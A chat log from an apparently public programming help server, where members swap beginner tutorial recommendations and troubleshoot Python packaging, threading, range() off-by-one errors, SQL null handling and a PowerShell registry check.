inland hazel
#

it means shadow don't know how to fix it but they might have known how in the distant past

finite cedar
#

o

magic falcon
#

Where did you get this from?

finite cedar
finite cedar
magic falcon
#

What tutorial are you going through?

finite cedar
# magic falcon What tutorial are you going through?

Full Java Course: https://course.alexlorenlee.com/courses/learn-java-fast
Get my favorite programming audiobook for free! https://audibletrial.com/alexleefree
Free tips: https://bit.ly/3vuD81C

Springboard Software Engineering BootCamp (Use my code ALEXLEE for $1000 USD off): https://bit.ly/3EZp0As
If you're new to programming, I recommend solvi...

▶ Play video
#

im at 5:58

onyx merlin
finite cedar
#

idk what that means

inland hazel
#

oooh that makes sense james

onyx merlin
#

If you don't understand, then you need to follow a better tutorial

finite cedar
#

ok

onyx merlin
#

Perhaps one that actually teaches rather than just encouraging you to copy.

finite cedar
#

i want to learn my friend sent this guy to me and said it was good

magic falcon
# finite cedar im at 5:58

literally watch the next 2 seconds. It's not a total garbage tutorial, but text is often easier to follow than video or live demo.

#

But you should google the Java Class that the video uses, and work to understand how Java libraries are imported.

finite cedar
magic falcon
#

If the youtube person is using Eclipse, it should look the same. My Eclipse looks like that, from what I remember. If yours doesn't, you did something to the config.

finite cedar
#

and it didnt look like his

finite cedar
glossy vapor
#

YouTube is too inconsistent and not good enough

true pumice
#

Depends on how well you research

glossy vapor
#

No way that they researches well enough at the start. I mean, they are asking questions about syntax 🤷

true pumice
#

It’s all about the mindset and learning. If you’re not willing to put in the effort to learn at the start, why bother?

glossy vapor
#

Of course they are, but can you really expect them to know how to properly research stuff and sweat for hours trying to figure something out? Why wouldn't they just take a step-by-step course to learn the basics first?

#

It's just about getting them into this stuff slowly. No need to struggle when the entry can be completely painless. They've got years of struggle ahead of them if they continue

maiden warren
#

hey i want to learn programing also pls help me wht to start with i have visutal code and wht to download with it

void lotus
#

*visual

lyric mirage
wispy kestrelBOT
#

Gave +1 Rep to @brazen eagle

brazen eagle
#

The concepts will apply to other languages as well

void lotus
wispy kestrelBOT
#

Gave +1 Rep to @lyric mirage

onyx merlin
#

@rapid hound is this homework?

rapid hound
#

Its college project

onyx merlin
#

We don't do homework help here

#

Please ask your teacher.

rapid hound
#

🙂

#

Okay thanks

lilac holly
violet blade
#

Hi! I want to start learning Python, any recomendation?

granite agate
#

Check pin message

heavy rampart
feral ledge
# violet blade Hi! I want to start learning Python, any recomendation?

Python tutorial for beginners full course
#python #tutorial #beginners
⭐️Time Stamps⭐️
#1 (00:00:00)​ Python tutorial for beginners 🐍
#2 (00:05:57​) variables ✘
#3 (00;17;38​) multiple assignment 🔠
#4 (00:20:27​) string methods 〰️
#5 (00:25:13​) type cast 💱
#6 (00:30:14​) user input ⌨️
#7 (00:36:50​) math functions 🧮
#8 (00:40:58...

▶ Play video
violet blade
#

Thxs

pine cypress
cobalt kelp
#

I get this error when I try to install pyhash==0.9.3

#

I tried downgrading pip, installing different setup_tools but nothing worked so far

#

what can I also try?

#
  Using cached pyhash-0.9.3.tar.gz (602 kB)
  Preparing metadata (setup.py) ... error
  error: subprocess-exited-with-error
  
  × python setup.py egg_info did not run successfully.
  │ exit code: 1
  ╰─> [7 lines of output]
      /home/alex/.local/lib/python3.10/site-packages/setuptools/config/setupcfg.py:463: SetuptoolsDeprecationWarning: The license_file parameter is deprecated, use license_files instead.
        warnings.warn(msg, warning_class)
      /home/alex/.local/lib/python3.10/site-packages/pkg_resources/__init__.py:123: PkgResourcesDeprecationWarning: 0.1.43ubuntu1 is an invalid version and will not be supported in a future release
        warnings.warn(
      /home/alex/.local/lib/python3.10/site-packages/setuptools/installer.py:27: SetuptoolsDeprecationWarning: setuptools.installer is deprecated. Requirements should be satisfied by a PEP 517 installer.
        warnings.warn(
      error in pyhash setup command: use_2to3 is invalid.
      [end of output]
  
  note: This error originates from a subprocess, and is likely not a problem with pip.
error: metadata-generation-failed

× Encountered error while generating package metadata.
╰─> See above for output.

note: This is an issue with the package mentioned above, not pip.
hint: See above for details.
#

nvm solved it, I was missing some packages

prisma sinew
#

i learning python but i need to test my general knowledge, so please who can provide me a PYTHON PROJECT... i will really appreciate it.. send it on my DM

glacial ledge
#

Hello

X,Y,Z = 20,10,60
print(X,Y,Z__________)

Fill the line to get output
20,10,60
Anyone know the code ?

tropic minnow
#

generally, we don't help with homework

glacial ledge
#

Is not the h/w !

tropic minnow
#

also, that is like a basic google search question

glacial ledge
#

Can you code that?

glacial ledge
glossy vapor
#

It's a series of easy to very hard programming tasks

prisma sinew
#

Thanks bro.. i appreciate that

lilac holly
#

I wanna have a function restart itself on error in python, any idea what is that called or how to achieve it?
I am thinking something like using a try and on except run another function that calls the original function with the same parameters

#

but it would be great if I can do it in the same function or if there is something I can read about this

true pumice
lilac holly
#

I can call the function from within itself?

true pumice
#

Mhm

#

Recursive

lilac holly
#

oh that's really handy actually, thanks

cursive orchid
#

btw

#

you'll wanna keep an error counter

#

otherwise it could keep trying to run forever

true pumice
#

Default Python recursive limit won't let it run forever

magic falcon
lilac holly
#
        with ThreadPoolExecutor(max_workers=int(input("\n Number of threads ------>: "))) as executor:
            global wait_time
            wait_time = int(input("\n hours to run ------>:")) * 60 * 60
            page = str(input("\n page link ------>: "))
            executor.map(automate, proxies, combo)```
#

Is there a convenient way to pass a number to each thread?

#

consecutive numbers

#

This is a selenium script and it seems to crash whenever I increase the thread number to anything above 10 for no reason

#

so I was thinking about having each thread wait 30 seconds after the previous one has launched

magic falcon
#

a couple of different ways would be use a producer-consumer pattern or you could bind a function with your number when the thread is created - I've seen both used, with producer-consumer being more common

brazen eagle
#

pubsub is the way

magic falcon
sick scarab
#

Does anyone know of any documentation/guides for making tools using the impacket library?

proven zealot
#

guys, I need to make protocols like ssl, pgp in python. What needs to be done is to send the message in encrypted form, notify that the message has reached the recipient, and I need to send it with a signature. I found a library called gnupg, I will try to do it with it, but how should I do this communication? i.e. using smtplib like mail communication or using socket, I didn't quite get it.

faint sparrow
sick scarab
wispy kestrelBOT
#

Gave +1 Rep to @faint sparrow

lilac holly
#

Im having trouble with last part and I don't want to search this but understand what to do

#

I finished the function

#

but the for loop has be a little confused

#

I had to put +1

surreal bronze
#

You need to do for n in range(0,10)

lilac holly
#

0 to 9

surreal bronze
#

0,1,2,3,4,5,6,7,8,9 = 10

true pumice
#

@surreal bronze Can you make sure it's not Homework/ Assignments before helping, please 🙂

surreal bronze
lilac holly
#

I dont know what I should put

#

range(0.9)

#

or

#

(0, 10)

#

actually your right

#

from 0.9

#

it goes until 8

#

so your right

surreal bronze
#

is it homework / assignment?

lilac holly
#

very weird tho

#

how is this wrong?

surreal bronze
#

um @pine cypress

lilac holly
#

me

magic falcon
#

I saw that. Saying that kind of thing is not acceptable.

brazen eagle
#

you didn't read the problem spec properly

#

there are two hard problems in programming: naming things, cache eviction, and off-by-one errors

magic falcon
#

What exactly are you hoping to accomplish?

autumn plover
#

Hi guys , I'm not able to understand the below PowerShell code snippet, can anyone help me to figure it out.
I can understand the basics of this code. But I'm not sure if it is actually uninstalling the application. To my knowledge we use "UninstallString" to uninstall application.
Thanks in advance.

--> ######## Make changes within the block ######## # Add Application name exactly as it appears in Add/Remove Programs, Programs and Features, or Apps and Features between single quotes. $appName = 'application-name' ############################################### # Define registry location for uninstall keys $uninstReg = @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall','HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall') # Get all entries that match our criteria. DisplayName matches $appName (using -like to support special characters) $installed = @(Get-ChildItem $uninstReg -ErrorAction SilentlyContinue | Get-ItemProperty | Where-Object {($_.DisplayName -like $appName)}) # If any matches were found, $installed will return a "1" and pass it to $exitCode flagging the device for remediation. if ($installed) { return 0 } else { return 1 }

stone kayak
#

I haven't looked at it properly yet but seems interesting. I use Go a lot and don't like it so much, but a lower level language like Carbon might be up my street eyesUnamused

magic falcon
#

I'm intrigued by the interopability part of it, but I don't see anything on validation and verification that it performs as expected. From a security standpoint, I couldn't find anything about secure carbon coding practices or even a simple toolchain evaluation.
Do you have any examples for unit testing or even behavioral testing?

stone kayak
stone kayak
#

I asked in the Carbon Discord how I can get started and:

Carbon is really experimental so there's not really a compiler right now

There's no compiler for a compiled language

#

i think the compiler is just an MVP to get it to do something

#

is what they meant

#

Think I'll give up and learn Nim on the weekend

stoic badger
#

I was planning on taking a look at how the disassembly looked to see what reversing is like but I guess not lmao

magic falcon
#

It looked to me like they are using LLVM as a backend - if that's the case, all they would really need is to write the parser to generate the stack frames so LLVM can write out the binary

shadow goblet
#

Just wanted to know how can I upgrade scapy to a newer version

stone kayak
#

thank u babe

wispy kestrelBOT
#

Gave +1 Rep to @clear needle

wraith latch
# autumn plover Hi guys , I'm not able to understand the below PowerShell code snippet, can anyo...

Hey there,

The variable $appName is being used as a string variable (although not specified), this will be the application name the script will search for

$appName = 'application-name' 

When an app is installed in Windows, it'll create a registry entry so that it can be uninstalled. This variable is simply taking note of which registry folder the script needs to search

$uninstReg = @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall','HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall') ```

This variable will get all of the items in one or more specified locations, they've added the -ErrorAction SilentlyContinue because I presume any errors would cause the script to hault. Those results are piped into another command to get the itemproperty, those results are piped so that a filter can be applied to only look for items where the DisplayName looks like what was entered in the $appName variable
```powershell
$installed = @(Get-ChildItem $uninstReg -ErrorAction SilentlyContinue | Get-ItemProperty | Where-Object {($_.DisplayName -like $appName)}) 

Lastly if the $installed variable returns True, then Powershell will return the exit code 0 (which is the same as True) otherwise in all other cases Powershell will return a 1 (which is the same as False)

if ($installed) { return 0 } else { return 1 }

The script won't actually uninstall anything, it's only returning whether the app you're looking for is installed or not based on whether the registry key is present.
I hope this helps!

sonic tapir
#

hey all,
any react native expert ?
i need little help

sonic tapir
#

Got it pal. Thanks for info.

wispy kestrelBOT
#

Gave +1 Rep to @vast parcel

lilac holly
#

I am trying to execute threads with time between each but I am struggling

    global queue_time
    queue_time += int(input("Time between threads ------>: "))
    return queue_time```
this is what I currently use and I time.sleep(queue) in the function
#

This works great for the initial threads but I sometimes restart threads when they encounter errors, so whenever that happens, all initial threads are already running except 1 but it still waits for all the time combined anyways

#

any way to make it dynamic?

#

I am thinking about time.time() but seems funky

true pumice
# lilac holly I am trying to execute threads with time between each but I am struggling ```def...

Before I give a few ideas, first I would like to explain how functions work in Python.
In all programming languages, for functions to work you will have the parameters (so the argument passed into the function) and the value that is returned.

So, if I wanted to have a program to display my name, I would simply do:

def display_name(name):
  print("Hello " + name)

display_name("John")

In this example, the variable "name" in display_name(name) is referred to as a parameter, without having it there, I would not be able to use the variable "name" in the function without defining it. This allows us to access a variable from another section of the code, without having to directly define it inside the function.

Similarly, variables/ values defined inside of functions usually cannot be accessed outside of the code, this is why we use the return statement.
So, if I wanted to call the function but return the value, the code would like like this:

def display_name(name):
  return "Hello " + name

name = input("Please enter your name: ")
say_hello = display_name(name)
print(say_hello)

This was a little long winded of an example, but I hope you understand why I did what I did.
Now, in your code, you are using global queue_time, as well as returning that exact value. You have made the queue_time variable accessible throughout the code, but also returned it which kind of makes the global code useless unless it is defined before the function, but this can be passed into the function using parameters as stated above.

cursive orchid
#

anyone know how to get the second SELECT to return results without null?

true pumice
#

I would recommend researching what global does respectively because you rarely actually need to use it and when you do, it is more than obvious that you need to make a variable global. It is also very messy and can get complicated from both a coding stand point and from outside when reading your code.

cursive orchid
#

basically combining each result

#

(Cant use ‘where age is not null or location is not null’ because that has to go before GROUP BY and then it does it on singular rows rather than the grouped row)

lilac holly
true pumice
#

ffs ignore, Discord goes brr

lilac holly
#

But it's just that I can't sync it properly

#

Like whenever a function dies the function tells it to run after an hour while the queue is actually empty

true pumice
#

Are you using thread.cancel anywhere?

lilac holly
#

no

#

it's a selenium script

true pumice
#

You need to cancel your threads if they're erroring

#

I'd probably code a thread handler

lilac holly
#

I don't want the number of threads to decrease, if I cancel the thread won't it just die and stop the rest of the code?

cursive orchid
lilac holly
#

cause ideally I'd want it to recursively run another thread when one dies

true pumice
# cursive orchid what do you mean?

Sorry, just to understand, are you looking to get both results to be inserted into the same row or just non-null results to not be returned?

wraith latch
gentle nexus
#

anyone familiar with Golang here ? :V I wanna do some packet analysis , like reading the packets and classing them depends of some attacks , but Gopacket library doesnt look like it can help

magic falcon
magic falcon
true pumice
true pumice
#

I don't think it's possible ngl

cursive orchid
#

doesn’t work because group by only returns the first grouping

#

rather than all groups

#

and the first group is the first row, without a location

wraith latch
#

the having this or that clause won't work because only one of them need to be true for it to return a result

wraith latch
# cursive orchid and the first group is the first row, without a location

I'd use a CASE statement:

SELECT firstName, lastName, age, location

CASE
WHEN firstName is null then 'Enter string to replace null with'
WHEN lastName is null then 'Enter string to replace null with'
WHEN age is null then 'Enter string to replace null with'
WHEN location is null then 'Enter string to replace null with'
END 

GROUP BY firstName, lastName

Or you can use coalesce:

SELECT coalesce(columncontainingnullhere, 'Enter string to replace null with')
#

You can also change the order by, if a particular column returns null as per this example from w3 schools:

SELECT CustomerName, City, Country
FROM Customers
ORDER BY
(CASE
    WHEN City IS NULL THEN Country
    ELSE City
END)
autumn plover
wispy kestrelBOT
#

Gave +1 Rep to @wraith latch

lilac holly
#

how do I make a multithreaded python script sleep until a variable is set?
a while True loop and break if variable is true?

magic falcon
lilac holly
#

but I don't want just sleep since it's undefined time

#

I want it to check if another function has executed and if it did then it can proceed to return something

#

a timed loop will only be wasting resources I believe

onyx merlin
#

Inter process signalling and communication is the hardest part of concurrency

lilac holly
#

It's really simple in my mind but it's just that everything messes around when they are all working yes

#

but thanks now I know what to look for

stone kayak
#

Has anyone made a NES game before?